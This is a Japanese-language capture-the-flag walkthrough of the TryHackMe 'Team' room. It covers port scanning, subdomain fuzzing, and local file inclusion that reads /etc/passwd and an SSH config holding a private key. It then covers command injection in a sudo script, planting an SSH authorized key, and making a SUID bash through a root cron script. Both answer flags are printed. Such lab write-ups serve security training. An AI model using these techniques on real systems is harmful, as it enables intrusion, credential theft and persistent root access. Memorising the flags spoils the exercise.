【TryHackMe】Team：Walkthrough

# 概要

TryHackMe「Team」のWalkthroughです。

https://tryhackme.com/r/room/teamcw

# Task2

## **Q1**.*user.txt*

**Hint**.*As the "dev" site is under contruction maybe it has some flaws? "url?=" + "This rooms picture"*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.72.85 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
|   256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_  256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|

Webサービスのタイトルからホスト名を得られました。

![get host name.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4a108909-5fe2-a05f-a05b-96f2b4ba38e9.jpeg)

`/etc/hosts`に追記します。

```
10.10.72.85     team.thm
```

`team.thm`へアクセスすると別のWebページが表示されました。

![team thm.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/181c967c-52af-008b-24fd-5d170fd86daf.jpeg)

サブドメインの列挙を行います。

```
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.team.thm" -u http://team.thm -o ffuf_subdomain_result -fs 11366
www                     [Status: 200, Size: 2966, Words: 140, Lines: 90, Duration: 285ms]
www.dev                 [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 238ms]
dev                     [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 4958ms]
```

発見したサブドメインを`/etc/hosts`へ追記します。

```
10.10.72.85     team.thm www.team.thm www.dev.team.thm dev.team.thm
```

`dev.team.thm`へアクセスするとリンクを発見しました。

![www dev page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1e1bea70-66b6-904d-8cbc-de3a4be8399e.jpeg)

リンクをクリックするとパラメータに付与されてページが表示されました。

```
/script.php?page=teamshare.php
```

LFIの脆弱性がありそうです。

https://book.hacktricks.xyz/v/jp/pentesting-web/file-inclusion

ファジングをします。

```
$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hw 0 http://www.dev.team.thm/script.php?page=../../../../../../../FUZZ
000000001:   200        34 L     42 W       1698 Ch     "/etc/passwd"                                       
000000015:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../etc/passwd"
000000007:   200        34 L     42 W       1698 Ch     "../../../../../../etc/passwd"                      
000000003:   200        34 L     42 W       1698 Ch     "../../etc/passwd"                                  
000000019:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../../../../etc/passwd"                                      
000000018:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../../../etc/passwd"                                         
000000013:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../etc/passwd"    
000000014:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../etc/passwd" 
000000016:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../etc/passwd"
000000017:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../../etc/passwd"                                            
000000012:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../etc/passwd"       
000000011:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../etc/passwd"          
000000010:   200        34 L     42 W       1698 Ch     "../../../../../../../../../etc/passwd"             
000000009:   200        34 L     42 W       1698 Ch     "../../../../../../../../etc/passwd"                
000000006:   200        34 L     42 W       1698 Ch     "../../../../../etc/passwd"                         
000000002:   200        34 L     42 W       1698 Ch     "../etc/passwd"                                     
000000008:   200        34 L     42 W       1698 Ch     "../../../../../../../etc/passwd"                   
000000004:   200        34 L     42 W       1698 Ch     "../../../etc/passwd"                               
000000005:   200        34 L     42 W       1698 Ch     "../../../../etc/passwd"
```

ローカルのファイルを読み込めました。
`/etc/passwd`ファイルから`ftpuser`,`dale`,`gyles`アカウントを確認できました。

![etc passwd.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a43adee2-4180-ca67-3213-3545c7dfeee9.jpeg)

ユーザーフラグがこの`/home`配下のどれかにあると予想して試していると`/home/dale/user.txt`でユーザーフラグを入手できました。

![user flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e90573d8-4dd1-683b-4e49-9251d42b8f8e.jpeg)

**A**.**THM{6Y0TXHz7c2d}**

## **Q2**.*root.txt*

**Hint**.*Is root running anything automated? ps I like PATH s*

SSH接続を試みます。
ユーザー名は判明しているのでパスワードか秘密鍵を探します。
各ユーザーの`.ssh/id_rsa`はLFIで得られませんでした。
再度別のワードリストでファイルの列挙をするとSSHの設定ファイルを発見しました。

```
$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hw 0 http://www.dev.team.thm/script.php?page=FUZZ

(省略)

000000081:   200        169 L    447 W      5990 Ch     "/etc/ssh/sshd_config"
000000080:   200        52 L     218 W      1581 Ch     "/etc/ssh/ssh_config"
```

`/etc/ssh/sshd_config`を見ると`dale`の秘密鍵を発見しました。

![dale prive key.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/133bc37d-7110-e9fd-0cfa-b0618813cedc.jpeg)

設定ファイルごとダウンロードします。

```
$ wget http://www.dev.team.thm/script.php?page=/etc/ssh/sshd_config
```

ファイルを整形し、SSH接続します。

```
$ ssh -i id_rsa dale@10.10.72.85
dale@TEAM:~$
```

`sudo -l`を実行すると`/home/gyles/admin_checks`を確認できました。

```
$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks
```

`/home/gyles/admin_checks`の処理を確認します。

```
#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"
```

`$error 2>/dev/null`でコマンドインジェクションを実行できます。

```
$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: 
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)

# 入力
`python3 -c "import pty;pty.spawn('/bin/bash')"` 

gyles@TEAM:~$
```

`gyles`アカウントには入れました。
`gyles`用にSSH鍵を設定します。

```
$ echo "<kali pub ssh key>" > /home/gyles/.ssh/authorized_keys
```

`gyles`でSSH接続に成功しました。

```
$ ssh gyles@10.10.72.85         
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Last login: Sun Jan 17 15:35:55 2021
gyles@TEAM:~$
```

ヒントからプロセスが怪しいです。
`pspy`をKaliからダウンロードして実行すると`/opt/admin_stuff/script.sh`をrootが実行していると分かりました。

```
$ ./pspy32
2024/07/18 21:10:01 CMD: UID=0     PID=23574  | /bin/bash /opt/admin_stuff/script.sh
```

`/opt/admin_stuff/script.sh`の処理を確認します。

```/opt/admin_stuff/script.sh
#!/bin/bash
#I have set a cronjob to run this script every minute


dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
```

2つのスクリプトを実行しています。
`/usr/local/bin/main_backup.sh`には`admin`グループアカウントでの編集権限があり、`gyles`は`admin`グループに所属しているのでこのスクリプトを編集します。

```
$ ls -l /usr/local/bin/main_backup.sh 
-rwxrwxr-x 1 root admin 65 Jan 17  2021 /usr/local/bin/main_backup.sh
gyles@TEAM:/opt/admin_stuff$ id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
```

```
$ cat /usr/local/bin/main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/

# 追記
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
```

`/tmp`配下にSUIDがセットされた`bash`を作成できました。

```
$ ls -l
total 15780
-rwsr-xr-x 1 root  root  1113504 Jul 18 21:14 bash
```

実行し、`root`権限の取得に成功しました。

```
$ ./bash -p
bash-4.4# whoami
root
```

ルートフラグファイルを検索します。

```
# find / -name *root.txt* 2>/dev/null
/root/root.txt
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
THM{fhqbznavfonq}
```

**A**.**THM{fhqbznavfonq}**